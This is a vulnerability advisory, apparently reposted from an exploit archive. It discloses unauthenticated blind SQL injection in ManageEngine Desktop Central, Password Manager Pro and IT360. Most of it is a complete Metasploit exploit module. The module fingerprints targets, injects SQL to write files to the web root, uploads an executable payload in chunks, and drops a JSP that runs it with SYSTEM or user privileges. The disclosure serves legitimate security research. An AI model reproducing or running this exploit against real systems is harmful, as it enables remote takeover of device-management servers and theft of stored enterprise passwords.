ManageEngine Desktop Central / Password Manager Pro / IT360 SQL Injection

2014.08.21
Credit: Pedro
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89

TL;DR CVE-2014-3996 / CVE-2014-3997 Blind SQL injection in ManageEngine Desktop Central, Password Manager Pro and IT360 (including MSP versions) Scroll to the bottom for the Metasploit module link; the module will be submitted to Metasploit proper in a pull request in the next few days. ========================================================================== >> Blind SQL injection in ManageEngine Desktop Central, Password Manager Pro and IT360 (including MSP versions) >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security ========================================================================== >> Background on the affected products: "Desktop Central is an integrated desktop & mobile device management software that helps in managing the servers, laptops, desktops, smartphones and tablets from a central point. It automates your regular desktop management routines like installing patches, distributing software, managing your IT Assets, managing software licenses, monitoring software usage statistics, managing USB device usage, taking control of remote desktops, and more." "Password Manager Pro is a secure vault for storing and managing shared sensitive information such as passwords, documents and digital identities of enterprises." "Managing mission critical business applications is now made easy through ManageEngine IT360. With agentless monitoring methodology, monitor your applications, servers and databases with ease. Agentless monitoring of your business applications enables you high ROI and low TOC. With integrated network monitoring and bandwidth utilization, quickly troubleshoot any performance related issue with your network and assign issues automatically with ITIL based ServiceDesk integration." These products have managed service providers (MSP) versions which are used to control the desktops and smartphones of several clients. Quoting the author of the Internet Census 2012: "As a rule of thumb, if you believe that "nobody would connect that to the Internet, really nobody", there are at least 1000 people who did." These vulnerabilities can be abused to achieve remote code execution as SYSTEM in Windows or as the user in Linux. Needless to say, owning a Desktop Central / IT360 box will give you control of all the computers and smartphones it manages, while owning Password Manager Pro will give you a treasure trove of passwords. >> Technical details: The two blind SQL injections described below have been present in Desktop Central, Password Manager Pro and IT360 in all releases since 2006. They can only be triggered via a GET request, which means you can only inject around 8000 characters at a time. #1 Vulnerability: Blind SQL injection in LinkViewFetchServlet (unauthenticated on DC/PMP / authenticated on IT360) CVE-2014-3996 Affected products / versions: - ManageEngine Desktop Central (DC) [MSP]: all versions from v4 up to v9 build 90033 - ManageEngine Password Manager Pro (PMP) [MSP]: all versions from v5 to version 7 build 7002 - ManageEngine IT360 [MSP]: all versions from v8 to v10.1.1 build 10110 This affects all versions of the products released since 19-Apr-2006. Other ManageEngine products might be affected. Constraints: - DC: no authentication or any other information needed - PMP: no authentication or any other information needed - IT360: valid user account needed Proof of concept: DC / PMP: GET /LinkViewFetchServlet.dat?sv=[SQLi] IT360: GET /console/LinkViewFetchServlet.dat?sv=[SQLi] #2 Vulnerability: Blind SQL injection in MetadataServlet (unauthenticated on PMP / authenticated on IT360) CVE-2014-3997 Affected products / versions: - ManageEngine Password Manager Pro (PMP) [MSP]: all versions from v5 to version 7 build 7003 - ManageEngine IT360 [MSP]: all versions from v8 to v10.1.1 build 10110 This affects all versions of the products released since 03-Apr-2008. Other ManageEngine products might be affected. Constraints: - PMP: no authentication or any other information needed - IT360: valid user account needed Proof of concept: PMP: GET /MetadataServlet.dat?sv=[SQLi] IT360: GET /console/MetadataServlet.dat?sv=[SQLi] ========================================================================== A full text version of this advisory can be found in my repo: https://raw.githubusercontent.com/pedrib/PoC/master/me_dc_pmp_it360_sqli.txt A Metasploit module that exploits this vulnerability can also be found in my repo: https://raw.githubusercontent.com/pedrib/PoC/master/msf_modules/manageengine_dc_pmp_sqli.rb ------ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # TODO # - add the refs, confirm the builds, etc require 'msf/core' require 'msf/core/exploit/file_dropper' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine Password Manager Pro v6-v7 b7002 / Desktop Central v7-v9 b90033 SQL Injection", 'Description' => %q{ This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet, which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older or upgraded builds). MySQL targets are more reliable due to the use of relative paths; with PostgreSQL you should find the web root path via other means and specify it with WEB_ROOT. The injection is only exploitable via a GET request, which means that the payload has to be sent in chunks smaller than 8000 characters (URL size limitation). Small payloads and the use of exe-small is recommended, as you can only do between 10 and 20 injections before using up all the available ManagedConnections until the next server restart. This vulnerability exists in all versions released since 2006, however builds below DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your luck using the MySQL targets as a JDK might be installed in the $PATH. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module ], 'References' => [ [ 'CVE', '2014-3996' ], [ 'OSVDB', 'TODO' ], [ 'URL', 'TODO_GITHUB_URL' ], [ 'URL', 'TODO_FULLDISC_URL' ] ], 'Arch' => ARCH_X86, 'Platform' => %w{ linux win }, 'Targets' => [ [ 'Automatic', {} ], [ 'Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows', { 'Web_root' => 'C:\\ManageEngine\\DesktopCentral_Server\\webapps\\DesktopCentral\\', 'Database' => 'postgresql', 'Platform' => 'win' } ], [ 'Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows', { 'Web_root' => 'C:\\ManageEngine\\DesktopCentralMSP_Server\\webapps\\DesktopCentral\\', 'Database' => 'postgresql', 'Platform' => 'win' } ], [ 'Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows', { 'Web_root' => '../../webapps/DesktopCentral/', 'Database' => 'mysql', 'Platform' => 'win' } ], [ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows', { 'Web_root' => 'C:\\ManageEngine\\PMP\\webapps\\PassTrix\\', 'Database' => 'postgresql', 'Platform' => 'win' } ], [ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows', { 'Web_root' => '../../webapps/PassTrix/', 'Database' => 'mysql', 'Platform' => 'win' } ], [ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux', { 'Web_root' => '/opt/ManageEngine/PMP/webapps/PassTrix/', 'Database' => 'postgresql', 'Platform' => 'linux' } ], [ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux', { 'Web_root' => '../../webapps/PassTrix/', 'Database' => 'mysql', 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'Privileged' => false, # Privileged on Windows but not on Linux targets 'DisclosureDate' => "Jun 8 2014")) register_options( [ OptPort.new('RPORT', [true, 'The target port', 8020]), OptBool.new('SSL', [true, 'Use SSL', false]), OptInt.new('CHUNK_SIZE', [true, 'Number of characters to send per request (< 7800)', 7500]), OptInt.new('SLEEP', [true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]), OptBool.new('EXE_SMALL', [true, 'Use exe-small encoding for better reliability', true]), OptString.new('WEB_ROOT', [false, 'Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\)']) ], self.class) end def check # Test for Desktop Central res = send_request_cgi({ 'uri' => normalize_uri("configurations.do"), 'method' => 'GET' }) if res and res.code == 200 if res.body.to_s =~ /ManageEngine Desktop Central 7/ or res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7 # DC v7 uses the MySQL database print_status("#{peer} - Detected Desktop Central v7 (MySQL)") return Exploit::CheckCode::Appears elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ or res.body.to_s =~ /ManageEngine Desktop Central MSP 8/ if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 build = $1 if build > "80200" print_status("#{peer} - Detected Desktop Central v8 #{build}") return Exploit::CheckCode::Appears else print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)") end else print_status("#{peer} - Detected Desktop Central v8 (MySQL)") end # DC v8 < 80200 uses the MySQL database return Exploit::CheckCode::Appears elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ or res.body.to_s =~ /ManageEngine Desktop Central MSP 9/ if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 build = $1 print_status("#{peer} - Detected Desktop Central v9 #{build}") if build < "90039" return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end end end # Test for Password Manager Pro res = send_request_cgi({ 'uri' => normalize_uri("PassTrixMain.cc"), 'method' => 'GET' }) if res and res.code == 200 and res.body.to_s =~ /ManageEngine Password Manager Pro/ and (res.body.to_s =~ /login\.css\?([0-9]+)/ or # PMP v6 res.body.to_s =~ /login\.css\?version=([0-9]+)/ or # PMP v6 res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/) # PMP v7 build = $1 if build < "7003" if build < "6800" # PMP v6 < 6800 uses the MySQL database print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)") else print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}") end if build >= "6500" # if it's a build below 6500, it will only work if we have a JSP compiler return Exploit::CheckCode::Appears end else print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}") return Exploit::CheckCode::Safe end end end def pick_target return target if target.name != 'Automatic' print_status("#{peer} - Selecting target, this might take a few seconds...") rand_txt = rand_text_alpha_lower(8) << ".txt" # Test for Desktop Central res = send_request_cgi({ 'uri' => normalize_uri("configurations.do"), 'method' => 'GET' }) if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central/ if datastore['WEB_ROOT'] postgresql_path = datastore['WEB_ROOT'].dup mysql_path = datastore['WEB_ROOT'].dup elsif res.body.to_s =~ /ManageEngine Desktop Central MSP/ postgresql_path = targets[2]['Web_root'].dup mysql_path = targets[3]['Web_root'].dup else postgresql_path = targets[1]['Web_root'].dup mysql_path = targets[3]['Web_root'].dup end else # Test for Password Manager Pro res = send_request_cgi({ 'uri' => normalize_uri("PassTrixMain.cc"), 'method' => 'GET' }) if res and res.code == 200 and res.body.to_s =~ /ManageEngine Password Manager Pro/ if datastore['WEB_ROOT'] postgresql_path = datastore['WEB_ROOT'].dup mysql_path = datastore['WEB_ROOT'].dup else postgresql_path = targets[4]['Web_root'].dup mysql_path = targets[5]['Web_root'].dup end else # We don't know what this is, bail return nil end end # try MySQL first, there are probably more of these out there filepath = mysql_path << rand_txt # @@version_compile_os will give us Win32 / Win64 if it's a Windows target inject_sql("select @@version_compile_os into dumpfile '#{filepath}'", "mysql") res = send_request_cgi({ 'uri' => normalize_uri(rand_txt), 'method' => 'GET' }) if res and res.code == 200 register_file_for_cleanup(filepath.sub('../','')) if res.body.to_s =~ /Win32/ or res.body.to_s =~ /Win64/ if mysql_path =~ /DesktopCentral/ # Desktop Central [MSP] / MySQL / Windows return targets[3] else # Password Manager Pro / MySQL / Windows return targets[5] end else # Password Manager Pro / MySQL / Linux return targets[7] end end # didn't work, let's try PostgreSQL filepath = postgresql_path << rand_txt # version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux) inject_sql("copy (select version()) to '#{filepath}'", "postgresql") res = send_request_cgi({ 'uri' => normalize_uri(rand_txt), 'method' => 'GET' }) if res and res.code == 200 register_file_for_cleanup(filepath) if res.body.to_s =~ /Visual C++/ if postgresql_path =~ /DesktopCentral_Server/ # Desktop Central / PostgreSQL / Windows return targets[1] elsif postgresql_path =~ /DesktopCentralMSP_Server/ # Desktop Central MSP / PostgreSQL / Windows return targets[2] else # Password Manager Pro / PostgreSQL / Windows return targets[4] end elsif res.body.to_s =~ /linux/ # This is for the case when WEB_ROOT is provided # Password Manager Pro / PostgreSQL / Linux return targets[6] end else # OK, it's Password Manager Pro on Linux, probably using PostgreSQL and # no WEB_ROOT was provided. Let's try one of the defaults before bailing out. filepath = targets[5]['Web_root'].dup << rand_txt inject_sql("copy (select version()) to '#{filepath}'", "postgresql") res = send_request_cgi({ 'uri' => normalize_uri(rand_txt), 'method' => 'GET' }) if res and res.code == 200 and res.body.to_s =~ /linux/ # Password Manager Pro / PostgreSQL / Linux return targets[6] else return nil end end end # # Creates the JSP that will assemble the payload on the server # def generate_jsp_encoded(files) native_payload_name = rand_text_alpha(rand(6)+3) ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' var_raw = rand_text_alpha(rand(8) + 3) var_ostream = rand_text_alpha(rand(8) + 3) var_buf = rand_text_alpha(rand(8) + 3) var_decoder = rand_text_alpha(rand(8) + 3) var_tmp = rand_text_alpha(rand(8) + 3) var_path = rand_text_alpha(rand(8) + 3) var_proc2 = rand_text_alpha(rand(8) + 3) var_files = rand_text_alpha(rand(8) + 3) var_ch = rand_text_alpha(rand(8) + 3) var_istream = rand_text_alpha(rand(8) + 3) var_file = rand_text_alpha(rand(8) + 3) files_decl = "{ " files.each { |file| files_decl << "\"#{file}\"," } files_decl[-1] = "}" if @my_target['Platform'] == 'linux' var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) chmod = %Q| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); Thread.sleep(200); | var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) cleanup = %Q| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); | else chmod = '' cleanup = '' end jsp = %Q| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% String[] #{var_files} = #{files_decl}; try { int #{var_ch}; StringBuilder #{var_buf} = new StringBuilder(); for (String #{var_file} : #{var_files}) { BufferedInputStream #{var_istream} = new BufferedInputStream(new FileInputStream(#{var_file})); while((#{var_ch} = #{var_istream}.read())!= -1) #{var_buf}.append((char)#{var_ch}); #{var_istream}.close(); } BASE64Decoder #{var_decoder} = new BASE64Decoder(); byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); String #{var_path} = #{var_tmp}.getAbsolutePath(); BufferedOutputStream #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); #{chmod} Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); #{cleanup} } catch (Exception e) { } %> | jsp = jsp.gsub(/\n/, '') jsp = jsp.gsub(/\t/, '') if @my_target['Database'] == 'postgresql' # Ruby's base64 encoding adds newlines at every 60 chars, strip them [jsp].pack("m*").gsub(/\n/, '') else # Assuming mysql, applying hex encoding instead jsp.unpack("H*")[0] end end def inject_sql(sqli_command, target = nil) target = (target == nil) ? @my_target['Database'] : target if target == 'postgresql' sqli_prefix = "viewname\";" sqli_suffix = ";-- " else # Assuming mysql sqli_prefix = "viewname\" union " sqli_suffix = "#" end send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("LinkViewFetchServlet.dat"), 'vars_get' => { 'sv' => sqli_prefix << sqli_command << sqli_suffix } }) if target == 'postgresql' # PostgreSQL sometimes takes a while to write to the disk, so sleep more sleep(datastore['SLEEP'] * 2.5) else # Assuming mysql sleep(datastore['SLEEP']) end end # # Generate the actual payload # def generate_exe_payload opts = {:arch => @my_target.arch, :platform => @my_target.platform} payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) if datastore['EXE_SMALL'] and @my_target['Platform'] == 'win' exe = Msf::Util::EXE.to_executable_fmt(framework, arch, platform, payload.encoded, "exe-small", opts) else exe = generate_payload_exe(opts) end Rex::Text.encode_base64(exe) end # # Uploads the payload in chunks and then calls the JSP that will assemble them # (runs the actual exploit). # def inject_exec(jsp_name, fullpath) base64_exe = generate_exe_payload base64_exe_len = base64_exe.length # We will be injecting in CHUNK_SIZE steps chunk_size = datastore['CHUNK_SIZE'] copied = 0 counter = 0 if base64_exe_len < chunk_size chunk_size = base64_exe_len end chunks = (base64_exe_len.to_f / chunk_size).ceil time = chunks * datastore['SLEEP'] * ((@my_target['Database'] == 'postgresql') ? 2.5 : 1) # We dump our files in either C:\Windows\system32 or /tmp # It's not very clean, but when using a MySQL target we have no other choice # as we are using relative paths for injection. # The Windows path has to be escaped with 4 backslashes because ruby eats one # and the JSP eats the other. files = Array.new(chunks) files.map! { |file| if @my_target['Platform'] == 'win' file = "C:\\\\windows\\\\system32\\\\" + rand_text_alpha(rand(8)+3) else # Assuming Linux, let's hope we can write to /tmp file = "/tmp/" + rand_text_alpha(rand(8)+3) end } print_status("#{peer} - Payload size is #{base64_exe_len}, injecting #{chunks}" + " chunks in #{time} seconds") if @my_target['Database'] == 'postgresql' inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'") else # Assuming mysql inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile" + " '#{files[counter]}'") end register_file_for_cleanup(files[counter]) copied += chunk_size counter += 1 while copied < base64_exe_len if (copied + chunk_size) > base64_exe_len # Last loop chunk_size = base64_exe_len - copied end if @my_target['Database'] == 'postgresql' inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to " + "'#{files[counter]}'") else # Assuming mysql inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into " + "dumpfile '#{files[counter]}'") end register_file_for_cleanup(files[counter]) copied += chunk_size counter += 1 end jsp_encoded = generate_jsp_encoded(files) if @my_target['Database'] == 'postgresql' inject_sql("copy (select convert_from(decode('#{jsp_encoded}','base64'),'utf8'))" + " to '#{fullpath}'") else inject_sql("select 0x#{jsp_encoded} from mysql.user into dumpfile '#{fullpath}'") end print_status("#{peer} - Requesting #{jsp_name}") send_request_raw({'uri' => normalize_uri(jsp_name)}) handler end def exploit @my_target = pick_target if @my_target.nil? fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.") else print_status("#{peer} - Selected target #{@my_target.name}") end # When using auto targeting, MSF selects the Windows meterpreter as the default payload. # Fail if this is the case to avoid polluting the web root any more. if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/ fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") end if datastore['WEB_ROOT'] web_root = datastore['WEB_ROOT'] else web_root = @my_target['Web_root'] end jsp_name = rand_text_alpha_lower(8) + ".jsp" fullpath = web_root + jsp_name register_file_for_cleanup(fullpath.sub('../','')) inject_exec(jsp_name, fullpath) end end Regards, Pedro


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